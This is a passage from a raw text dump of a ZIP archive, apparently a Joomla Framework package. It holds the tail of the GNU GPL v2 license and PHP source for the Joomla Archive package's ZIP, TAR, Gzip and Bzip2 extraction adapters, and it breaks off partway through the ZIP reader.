Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.
6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.
7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all. For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.
If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded. In such case, this License incorporates
the limitation as if written in the body of this License.
9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the Program
specifies a version number of this License which applies to it and
"any
later version", you have the option of following the terms and
conditions
either of that version or of any later version published by the Free
Software Foundation. If the Program does not specify a version number of
this License, you may choose any version ever published by the Free
Software
Foundation.
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission. For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this. Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.
NO WARRANTY
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER
EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is
found.
<one line to give the program's name and a brief idea of what it
does.>
Copyright (C) <year> <name of author>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Also add information on how to contact you by electronic and paper mail.
If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:
Gnomovision version 69, Copyright (C) year name of author
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show
w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the
appropriate
parts of the General Public License. Of course, the commands you use may
be called something other than `show w' and `show c'; they could
even be
mouse-clicks or menu items--whatever suits your program.
You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program,
if
necessary. Here is a sample; alter the names:
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
`Gnomovision' (which makes passes at compilers) written by James
Hacker.
<signature of Ty Coon>, 1 April 1989
Ty Coon, President of Vice
This General Public License does not permit incorporating your program into
proprietary programs. If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library. If this is what you want to do, use the GNU Library General
Public License instead of this License.
PK���[N���!!archive/src/Archive.phpnu�[���<?php
/**
* Part of the Joomla Framework Archive Package
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Archive;
use Joomla\Archive\Exception\UnknownArchiveException;
use Joomla\Archive\Exception\UnsupportedArchiveException;
use Joomla\Filesystem\File;
use Joomla\Filesystem\Folder;
/**
* An Archive handling class
*
* @since 1.0
*/
class Archive
{
/**
* The array of instantiated archive adapters.
*
* @var ExtractableInterface[]
* @since 1.0
*/
protected $adapters = array();
/**
* Holds the options array.
*
* @var array|\ArrayAccess
* @since 1.0
*/
public $options = array();
/**
* Create a new Archive object.
*
* @param array|\ArrayAccess $options An array of options
*
* @since 1.0
* @throws \InvalidArgumentException
*/
public function __construct($options = array())
{
if (!\is_array($options) && !($options instanceof \ArrayAccess))
{
throw new \InvalidArgumentException(
'The options param must be an array or implement the ArrayAccess
interface.'
);
}
// Make sure we have a tmp directory.
isset($options['tmp_path']) || $options['tmp_path'] =
realpath(sys_get_temp_dir());
$this->options = $options;
}
/**
* Extract an archive file to a directory.
*
* @param string $archivename The name of the archive file
* @param string $extractdir Directory to unpack into
*
* @return boolean True for success
*
* @since 1.0
* @throws UnknownArchiveException if the archive type is not supported
*/
public function extract($archivename, $extractdir)
{
$ext = pathinfo($archivename, \PATHINFO_EXTENSION);
$path = pathinfo($archivename, \PATHINFO_DIRNAME);
$filename = pathinfo($archivename, \PATHINFO_FILENAME);
switch (strtolower($ext))
{
case 'zip':
$result =
$this->getAdapter('zip')->extract($archivename,
$extractdir);
break;
case 'tar':
$result =
$this->getAdapter('tar')->extract($archivename,
$extractdir);
break;
case 'tgz':
case 'gz':
case 'gzip':
// This may just be an individual file (e.g. sql script)
$tmpfname = $this->options['tmp_path'] . '/' .
uniqid('gzip');
try
{
$this->getAdapter('gzip')->extract($archivename,
$tmpfname);
}
catch (\RuntimeException $exception)
{
@unlink($tmpfname);
return false;
}
if ($ext === 'tgz' || stripos($filename, '.tar')
!== false)
{
$result = $this->getAdapter('tar')->extract($tmpfname,
$extractdir);
}
else
{
Folder::create($extractdir);
$result = File::copy($tmpfname, $extractdir . '/' .
$filename, null, 0);
}
@unlink($tmpfname);
break;
case 'tbz2':
case 'bz2':
case 'bzip2':
// This may just be an individual file (e.g. sql script)
$tmpfname = $this->options['tmp_path'] . '/' .
uniqid('bzip2');
try
{
$this->getAdapter('bzip2')->extract($archivename,
$tmpfname);
}
catch (\RuntimeException $exception)
{
@unlink($tmpfname);
return false;
}
if ($ext === 'tbz2' || stripos($filename, '.tar')
!== false)
{
$result = $this->getAdapter('tar')->extract($tmpfname,
$extractdir);
}
else
{
Folder::create($extractdir);
$result = File::copy($tmpfname, $extractdir . '/' .
$filename, null, 0);
}
@unlink($tmpfname);
break;
default:
throw new UnknownArchiveException(sprintf('Unknown archive type:
%s', $ext));
}
return $result;
}
/**
* Method to override the provided adapter with your own implementation.
*
* @param string $type Name of the adapter to set.
* @param string $class FQCN of your class which implements
ExtractableInterface.
* @param boolean $override True to force override the adapter type.
*
* @return Archive This object for chaining.
*
* @since 1.0
* @throws UnsupportedArchiveException if the adapter type is not
supported
*/
public function setAdapter($type, $class, $override = true)
{
if ($override || !isset($this->adapters[$type]))
{
$error = !\is_object($class) && !class_exists($class)
? 'Archive adapter "%s" (class "%s") not
found.'
: '';
$error = $error == '' && !($class instanceof
ExtractableInterface)
? 'The provided adapter "%s" (class "%s")
must implement Joomla\\Archive\\ExtractableInterface'
: $error;
$error = $error == '' && !$class::isSupported()
? 'Archive adapter "%s" (class "%s") not
supported.'
: $error;
if ($error != '')
{
throw new UnsupportedArchiveException(
sprintf($error, $type, $class)
);
}
$this->adapters[$type] = new $class($this->options);
}
return $this;
}
/**
* Get a file compression adapter.
*
* @param string $type The type of adapter (bzip2|gzip|tar|zip).
*
* @return ExtractableInterface Adapter for the requested type
*
* @since 1.0
* @throws UnsupportedArchiveException
*/
public function getAdapter($type)
{
$type = strtolower($type);
if (!isset($this->adapters[$type]))
{
// Try to load the adapter object
/** @var ExtractableInterface $class */
$class = 'Joomla\\Archive\\' . ucfirst($type);
if (!class_exists($class) || !$class::isSupported())
{
throw new UnsupportedArchiveException(
sprintf(
'Archive adapter "%s" (class "%s") not found
or supported.',
$type,
$class
)
);
}
$this->adapters[$type] = new $class($this->options);
}
return $this->adapters[$type];
}
}
PK���[�
archive/src/Bzip2.phpnu�[���<?php
/**
* Part of the Joomla Framework Archive Package
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Archive;
use Joomla\Filesystem\File;
use Joomla\Filesystem\Stream;
/**
* Bzip2 format adapter for the Archive package
*
* @since 1.0
*/
class Bzip2 implements ExtractableInterface
{
/**
* Bzip2 file data buffer
*
* @var string
* @since 1.0
*/
private $data;
/**
* Holds the options array.
*
* @var array|\ArrayAccess
* @since 1.0
*/
protected $options = array();
/**
* Create a new Archive object.
*
* @param array|\ArrayAccess $options An array of options
*
* @since 1.0
* @throws \InvalidArgumentException
*/
public function __construct($options = array())
{
if (!\is_array($options) && !($options instanceof \ArrayAccess))
{
throw new \InvalidArgumentException(
'The options param must be an array or implement the ArrayAccess
interface.'
);
}
$this->options = $options;
}
/**
* Extract a Bzip2 compressed file to a given path
*
* @param string $archive Path to Bzip2 archive to extract
* @param string $destination Path to extract archive to
*
* @return boolean True if successful
*
* @since 1.0
* @throws \RuntimeException
*/
public function extract($archive, $destination)
{
$this->data = null;
if (!isset($this->options['use_streams']) ||
$this->options['use_streams'] == false)
{
// Old style: read the whole file and then parse it
$this->data = file_get_contents($archive);
if (!$this->data)
{
throw new \RuntimeException('Unable to read archive');
}
$buffer = bzdecompress($this->data);
unset($this->data);
if (empty($buffer))
{
throw new \RuntimeException('Unable to decompress data');
}
if (!File::write($destination, $buffer))
{
throw new \RuntimeException('Unable to write archive to file
' . $destination);
}
}
else
{
// New style! streams!
$input = Stream::getStream();
// Use bzip
$input->set('processingmethod', 'bz');
if (!$input->open($archive))
{
throw new \RuntimeException('Unable to read archive');
}
$output = Stream::getStream();
if (!$output->open($destination, 'w'))
{
$input->close();
throw new \RuntimeException('Unable to open file "' .
$destination . '" for writing');
}
do
{
$this->data = $input->read($input->get('chunksize',
8196));
if ($this->data)
{
if (!$output->write($this->data))
{
$input->close();
throw new \RuntimeException('Unable to write archive to file
' . $destination);
}
}
}
while ($this->data);
$output->close();
$input->close();
}
return true;
}
/**
* Tests whether this adapter can unpack files on this computer.
*
* @return boolean True if supported
*
* @since 1.0
*/
public static function isSupported()
{
return \extension_loaded('bz2');
}
}
PK���[i�"��1archive/src/Exception/UnknownArchiveException.phpnu�[���<?php
/**
* Part of the Joomla Framework Archive Package
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Archive\Exception;
/**
* Exception class defining an unknown archive type
*
* @since 1.1.7
*/
class UnknownArchiveException extends \InvalidArgumentException
{
}
PK���[�T�;��5archive/src/Exception/UnsupportedArchiveException.phpnu�[���<?php
/**
* Part of the Joomla Framework Archive Package
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Archive\Exception;
/**
* Exception class defining an unsupported archive adapter
*
* @since 1.1.7
*/
class UnsupportedArchiveException extends \InvalidArgumentException
{
}
PK���[|��WW$archive/src/ExtractableInterface.phpnu�[���<?php
/**
* Part of the Joomla Framework Archive Package
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Archive;
/**
* Archive class interface
*
* @since 1.0
*/
interface ExtractableInterface
{
/**
* Extract a compressed file to a given path
*
* @param string $archive Path to archive to extract
* @param string $destination Path to extract archive to
*
* @return boolean True if successful
*
* @since 1.0
* @throws \RuntimeException
*/
public function extract($archive, $destination);
/**
* Tests whether this adapter can unpack files on this computer.
*
* @return boolean True if supported
*
* @since 1.0
*/
public static function isSupported();
}
PK���[�e�archive/src/Gzip.phpnu�[���<?php
/**
* Part of the Joomla Framework Archive Package
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Archive;
use Joomla\Filesystem\File;
use Joomla\Filesystem\Stream;
/**
* Gzip format adapter for the Archive package
*
* This class is inspired from and draws heavily in code and concept from
the Compress package of
* The Horde Project <http://www.horde.org>
*
* @contributor Michael Slusarz <slusarz@horde.org>
* @contributor Michael Cochrane <mike@graftonhall.co.nz>
*
* @since 1.0
*/
class Gzip implements ExtractableInterface
{
/**
* Gzip file flags.
*
* @var array
* @since 1.0
*/
private $flags = array('FTEXT' => 0x01, 'FHCRC'
=> 0x02, 'FEXTRA' => 0x04, 'FNAME' => 0x08,
'FCOMMENT' => 0x10);
/**
* Gzip file data buffer
*
* @var string
* @since 1.0
*/
private $data;
/**
* Holds the options array.
*
* @var array|\ArrayAccess
* @since 1.0
*/
protected $options = array();
/**
* Create a new Archive object.
*
* @param array|\ArrayAccess $options An array of options
*
* @since 1.0
* @throws \InvalidArgumentException
*/
public function __construct($options = array())
{
if (!\is_array($options) && !($options instanceof \ArrayAccess))
{
throw new \InvalidArgumentException(
'The options param must be an array or implement the ArrayAccess
interface.'
);
}
$this->options = $options;
}
/**
* Extract a Gzip compressed file to a given path
*
* @param string $archive Path to ZIP archive to extract
* @param string $destination Path to extract archive to
*
* @return boolean True if successful
*
* @since 1.0
* @throws \RuntimeException
*/
public function extract($archive, $destination)
{
$this->data = null;
if (!isset($this->options['use_streams']) ||
$this->options['use_streams'] == false)
{
$this->data = file_get_contents($archive);
if (!$this->data)
{
throw new \RuntimeException('Unable to read archive');
}
$position = $this->getFilePosition();
$buffer = gzinflate(substr($this->data, $position,
\strlen($this->data) - $position));
if (empty($buffer))
{
throw new \RuntimeException('Unable to decompress data');
}
if (!File::write($destination, $buffer))
{
throw new \RuntimeException('Unable to write archive to file
' . $destination);
}
}
else
{
// New style! streams!
$input = Stream::getStream();
// Use gz
$input->set('processingmethod', 'gz');
if (!$input->open($archive))
{
throw new \RuntimeException('Unable to read archive');
}
$output = Stream::getStream();
if (!$output->open($destination, 'w'))
{
$input->close();
throw new \RuntimeException('Unable to open file "' .
$destination . '" for writing');
}
do
{
$this->data = $input->read($input->get('chunksize',
8196));
if ($this->data)
{
if (!$output->write($this->data))
{
$input->close();
throw new \RuntimeException('Unable to write archive to file
' . $destination);
}
}
}
while ($this->data);
$output->close();
$input->close();
}
return true;
}
/**
* Tests whether this adapter can unpack files on this computer.
*
* @return boolean True if supported
*
* @since 1.0
*/
public static function isSupported()
{
return \extension_loaded('zlib');
}
/**
* Get file data offset for archive
*
* @return integer Data position marker for archive
*
* @since 1.0
* @throws \RuntimeException
*/
public function getFilePosition()
{
// Gzipped file... unpack it first
$position = 0;
$info = @ unpack('CCM/CFLG/VTime/CXFL/COS',
substr($this->data, $position + 2));
if (!$info)
{
throw new \RuntimeException('Unable to decompress data.');
}
$position += 10;
if ($info['FLG'] & $this->flags['FEXTRA'])
{
$XLEN = unpack('vLength', substr($this->data, $position +
0, 2));
$XLEN = $XLEN['Length'];
$position += $XLEN + 2;
}
if ($info['FLG'] & $this->flags['FNAME'])
{
$filenamePos = strpos($this->data, "\x0", $position);
$position = $filenamePos + 1;
}
if ($info['FLG'] & $this->flags['FCOMMENT'])
{
$commentPos = strpos($this->data, "\x0", $position);
$position = $commentPos + 1;
}
if ($info['FLG'] & $this->flags['FHCRC'])
{
$hcrc = unpack('vCRC', substr($this->data, $position + 0,
2));
$hcrc = $hcrc['CRC'];
$position += 2;
}
return $position;
}
}
PK���[H��C��archive/src/Tar.phpnu�[���<?php
/**
* Part of the Joomla Framework Archive Package
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Archive;
use Joomla\Filesystem\File;
use Joomla\Filesystem\Folder;
use Joomla\Filesystem\Path;
/**
* Tar format adapter for the Archive package
*
* This class is inspired from and draws heavily in code and concept from
the Compress package of
* The Horde Project <http://www.horde.org>
*
* @contributor Michael Slusarz <slusarz@horde.org>
* @contributor Michael Cochrane <mike@graftonhall.co.nz>
*
* @since 1.0
*/
class Tar implements ExtractableInterface
{
/**
* Tar file types.
*
* @var array
* @since 1.0
*/
private $types = array(
0x0 => 'Unix file',
0x30 => 'File',
0x31 => 'Link',
0x32 => 'Symbolic link',
0x33 => 'Character special file',
0x34 => 'Block special file',
0x35 => 'Directory',
0x36 => 'FIFO special file',
0x37 => 'Contiguous file',
);
/**
* Tar file data buffer
*
* @var string
* @since 1.0
*/
private $data;
/**
* Tar file metadata array
*
* @var array
* @since 1.0
*/
private $metadata;
/**
* Holds the options array.
*
* @var array|\ArrayAccess
* @since 1.0
*/
protected $options = array();
/**
* Create a new Archive object.
*
* @param array|\ArrayAccess $options An array of options or an object
that implements \ArrayAccess
*
* @since 1.0
* @throws \InvalidArgumentException
*/
public function __construct($options = array())
{
if (!\is_array($options) && !($options instanceof \ArrayAccess))
{
throw new \InvalidArgumentException(
'The options param must be an array or implement the ArrayAccess
interface.'
);
}
$this->options = $options;
}
/**
* Extract a ZIP compressed file to a given path
*
* @param string $archive Path to ZIP archive to extract
* @param string $destination Path to extract archive into
*
* @return boolean True if successful
*
* @since 1.0
* @throws \RuntimeException
*/
public function extract($archive, $destination)
{
$this->data = null;
$this->metadata = null;
$this->data = file_get_contents($archive);
if (!$this->data)
{
throw new \RuntimeException('Unable to read archive');
}
$this->getTarInfo($this->data);
for ($i = 0, $n = \count($this->metadata); $i < $n; $i++)
{
$type = strtolower($this->metadata[$i]['type']);
if ($type == 'file' || $type == 'unix file')
{
$buffer = $this->metadata[$i]['data'];
$path = Path::clean($destination . '/' .
$this->metadata[$i]['name']);
// Make sure the destination folder exists
if (!Folder::create(\dirname($path)))
{
throw new \RuntimeException('Unable to create destination folder
' . \dirname($path));
}
if (!File::write($path, $buffer))
{
throw new \RuntimeException('Unable to write entry to file '
. $path);
}
}
}
return true;
}
/**
* Tests whether this adapter can unpack files on this computer.
*
* @return boolean True if supported
*
* @since 1.0
*/
public static function isSupported()
{
return true;
}
/**
* Get the list of files/data from a Tar archive buffer.
*
* @param string $data The Tar archive buffer.
*
* @return array Archive metadata array
* <pre>
* KEY: Position in the array
* VALUES: 'attr' -- File attributes
* 'data' -- Raw file contents
* 'date' -- File modification time
* 'name' -- Filename
* 'size' -- Original file size
* 'type' -- File type
* </pre>
*
* @since 1.0
* @throws \RuntimeException
*/
protected function getTarInfo(&$data)
{
$position = 0;
$returnArray = array();
while ($position < \strlen($data))
{
if (version_compare(\PHP_VERSION, '5.5', '>='))
{
$info = @unpack(
'Z100filename/Z8mode/Z8uid/Z8gid/Z12size/Z12mtime/Z8checksum/Ctypeflag/Z100link/Z6magic/Z2version/Z32uname/Z32gname/Z8devmajor/Z8devminor',
substr($data, $position)
);
}
else
{
$info = @unpack(
'a100filename/a8mode/a8uid/a8gid/a12size/a12mtime/a8checksum/Ctypeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor',
substr($data, $position)
);
}
/*
* This variable has been set in the previous loop, meaning that the
filename was present in the previous block
* to allow more than 100 characters - see below
*/
if (isset($longlinkfilename))
{
$info['filename'] = $longlinkfilename;
unset($longlinkfilename);
}
if (!$info)
{
throw new \RuntimeException('Unable to decompress data');
}
$position += 512;
$contents = substr($data, $position, octdec($info['size']));
$position += ceil(octdec($info['size']) / 512) * 512;
if ($info['filename'])
{
$file = array(
'attr' => null,
'data' => null,
'date' => octdec($info['mtime']),
'name' => trim($info['filename']),
'size' => octdec($info['size']),
'type' =>
isset($this->types[$info['typeflag']]) ?
$this->types[$info['typeflag']] : null,
);
if (($info['typeflag'] == 0) || ($info['typeflag']
== 0x30) || ($info['typeflag'] == 0x35))
{
// File or folder.
$file['data'] = $contents;
$mode = hexdec(substr($info['mode'], 4, 3));
$file['attr'] = (($info['typeflag'] == 0x35) ?
'd' : '-')
. (($mode & 0x400) ? 'r' : '-')
. (($mode & 0x200) ? 'w' : '-')
. (($mode & 0x100) ? 'x' : '-')
. (($mode & 0x040) ? 'r' : '-')
. (($mode & 0x020) ? 'w' : '-')
. (($mode & 0x010) ? 'x' : '-')
. (($mode & 0x004) ? 'r' : '-')
. (($mode & 0x002) ? 'w' : '-')
. (($mode & 0x001) ? 'x' : '-');
}
elseif (\chr($info['typeflag']) == 'L' &&
$info['filename'] == '././@LongLink')
{
// GNU tar ././@LongLink support - the filename is actually in the
contents, set a variable here so we can test in the next loop
$longlinkfilename = $contents;
// And the file contents are in the next block so we'll need to
skip this
continue;
}
$returnArray[] = $file;
}
}
$this->metadata = $returnArray;
return true;
}
}
PK���[��)��@�@archive/src/Zip.phpnu�[���<?php
/**
* Part of the Joomla Framework Archive Package
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Archive;
use Joomla\Filesystem\File;
use Joomla\Filesystem\Folder;
use Joomla\Filesystem\Path;
/**
* ZIP format adapter for the Archive package
*
* The ZIP compression code is partially based on code from:
* Eric Mueller <eric@themepark.com>
* http://www.zend.com/codex.php?id=535&single=1
*
* Deins125 <webmaster@atlant.ru>
* http://www.zend.com/codex.php?id=470&single=1
*
* The ZIP compression date code is partially based on code from
* Peter Listiak <mlady@users.sourceforge.net>
*
* This class is inspired from and draws heavily in code and concept from
the Compress package of
* The Horde Project <http://www.horde.org>
*
* @contributor Chuck Hagenbuch <chuck@horde.org>
* @contributor Michael Slusarz <slusarz@horde.org>
* @contributor Michael Cochrane <mike@graftonhall.co.nz>
*
* @since 1.0
*/
class Zip implements ExtractableInterface
{
/**
* ZIP compression methods.
*
* @var array
* @since 1.0
*/
private $methods = array(
0x0 => 'None',
0x1 => 'Shrunk',
0x2 => 'Super Fast',
0x3 => 'Fast',
0x4 => 'Normal',
0x5 => 'Maximum',
0x6 => 'Imploded',
0x8 => 'Deflated',
);
/**
* Beginning of central directory record.
*
* @var string
* @since 1.0
*/
private $ctrlDirHeader = "\x50\x4b\x01\x02";
/**
* End of central directory record.
*
* @var string
* @since 1.0
*/
private $ctrlDirEnd = "\x50\x4b\x05\x06\x00\x00\x00\x00";
/**
* Beginning of file contents.
*
* @var string
* @since 1.0
*/
private $fileHeader = "\x50\x4b\x03\x04";
/**
* ZIP file data buffer
*
* @var string
* @since 1.0
*/
private $data;
/**
* ZIP file metadata array
*
* @var array
* @since 1.0
*/
private $metadata;
/**
* Holds the options array.
*
* @var array|\ArrayAccess
* @since 1.0
*/
protected $options = array();
/**
* Create a new Archive object.
*
* @param array|\ArrayAccess $options An array of options or an object
that implements \ArrayAccess
*
* @since 1.0
* @throws \InvalidArgumentException
*/
public function __construct($options = array())
{
if (!\is_array($options) && !($options instanceof \ArrayAccess))
{
throw new \InvalidArgumentException(
'The options param must be an array or implement the ArrayAccess
interface.'
);
}
$this->options = $options;
}
/**
* Create a ZIP compressed file from an array of file data.
*
* @param string $archive Path to save archive.
* @param array $files Array of files to add to archive.
*
* @return boolean True if successful.
*
* @since 1.0
* @todo Finish Implementation
*/
public function create($archive, $files)
{
$contents = array();
$ctrldir = array();
foreach ($files as $file)
{
$this->addToZipFile($file, $contents, $ctrldir);
}
return $this->createZipFile($contents, $ctrldir, $archive);
}
/**
* Extract a ZIP compressed file to a given path
*
* @param string $archive Path to ZIP archive to extract
* @param string $destination Path to extract archive into
*
* @return boolean True if successful
*
* @since 1.0
* @throws \RuntimeException
*/
public function extract($archive, $destination)
{
if (!is_file($archive))
{
throw new \RuntimeException('Archive does not exist at ' .
$archive);
}
if (static::hasNativeSupport())
{
return $this->extractNative($archive, $destination);
}
return $this->extractCustom($archive, $destination);
}
/**
* Tests whether this adapter can unpack files on this computer.
*
* @return boolean True if supported
*
* @since 1.0
*/
public static function isSupported()
{
return self::hasNativeSupport() || \extension_loaded('zlib');
}
/**
* Method to determine if the server has native zip support for faster
handling
*
* @return boolean True if php has native ZIP support
*
* @since 1.0
*/
public static function hasNativeSupport()
{
return \extension_loaded('zip');
}
/**
* Checks to see if the data is a valid ZIP file.
*
* @param string $data ZIP archive data buffer.
*
* @return boolean True if valid, false if invalid.
*
* @since 1.0
*/
public function checkZipData(&$data)
{
return strpos($data, $this->fileHeader) !== false;
}
/**
* Extract a ZIP compressed file to a given path using a php based
algorithm that only requires zlib support
*
* @param string $archive Path to ZIP archive to extract.
* @param string $destination Path to extract archive into.
*
* @return boolean True if successful
*
* @since 1.0
* @throws \RuntimeException
*/
protected function extractCustom($archive, $destination)
{
$this->data = null;
$this->metadata = null;
$this->data = file_get_contents($archive);
if (!$this->data)
{
throw new \RuntimeException('Unable to read archive');
}
if (!$this->readZipInfo($this->data))
{
throw new \RuntimeException('Get ZIP Information failed');
}
for ($i = 0, $n = \count($this->metadata); $i < $n; $i++)
{
$lastPathCharacter = substr($this->metadata[$i]['name'],
-1, 1);
if ($lastPathCharacter !== '/' && $lastPathCharacter
!== '\\')
{
$buffer = $this->getFileData($i);
$path = Path::clean($destination . '/' .
$this->metadata[$i]['name']);
// Make sure the destination folder exists
if (!Folder::create(\dirname($path)))
{
throw new \RuntimeException('Unable to create destination folder
' . \dirname($path));
}
if (!File::write($path, $buffer))
{
throw new \RuntimeException('Unable to write entry to file '
. $path);
}
}
}
return true;
}
/**
* Extract a ZIP compressed file to a given path using native php api
calls for speed
*
* @param string $archive Path to ZIP archive to extract
* @param string $destination Path to extract archive into
*
* @return boolean True on success
*
* @throws \RuntimeException
* @since 1.0
*/
protected function extractNative($archive, $destination)
{
$zip = new \ZipArchive;
if ($zip->open($archive) !== true)
{
throw new \RuntimeException('Unable to open archive');
}
// Make sure the destination folder exists
if (!Folder::create($destination))
{
throw new \RuntimeException('Unable to create destination folder
' . \dirname($destination));
}
// Read files in the archive
for ($index = 0; $index < $zip->numFiles; $index++)
{
$file = $zip->getNameIndex($index);
if (substr($file, -1) === '/')
{
continue;
}
$buffer = $zip->getFromIndex($index);
if ($buffer === false)
{
throw new \RuntimeException('Unable to read ZIP entry');
}
if (File::write($destination . '/' . $file, $buffer) ===
false)
{
throw new \RuntimeException('Unable to write ZIP entry to file
' . $destination . '/' . $file);
}
}
$zip->close();
return true;
}
/**
* Get the list of files/data from a ZIP archive buffer.
*
* <pre>
* KEY: Position in zipfile
* VALUES: 'attr' -- File attributes
* 'crc' -- CRC checksum
* 'csize' -- Compressed file size
* 'date' -- File modification time
* 'name' -- Filename
* 'method'-- Compression method
* 'size' -- Original file size
* 'type' -- File type
* </pre>
*
* @param string $data The ZIP archive buffer.
*
* @return boolean True on success
*
* @since 1.0
* @throws \RuntimeException
*/
private function readZipInfo(&$data)
{
$entries = array();
// Find the last central directory header entry
$fhLast = strpos($data, $this->ctrlDirEnd);
do
{
$last = $fhLast;
}
while (($fhLast = strpos($data, $this->ctrlDirEnd, $fhLast + 1)) !==
false);
// Find the central directory offset
$offset = 0;
if ($last)
{
$endOfCentralDirectory = unpack(
'vNumberOfDisk/vNoOfDiskWithStartOfCentralDirectory/vNoOfCentralDirectoryEntriesOnDisk/'
.
'vTotalCentralDirectoryEntries/VSizeOfCentralDirectory/VCentralDirectoryOffset/vCommentLength',
substr($data, $last + 4)
);
$offset = $endOfCentralDirectory['CentralDirectoryOffset'];
}
// Get details from central directory structure.
$fhStart = strpos($data, $this->ctrlDirHeader, $offset);
$dataLength = \strlen($data);
do
{
if ($dataLength < $fhStart + 31)
{
throw new \RuntimeException('Invalid ZIP Data');
}
$info =
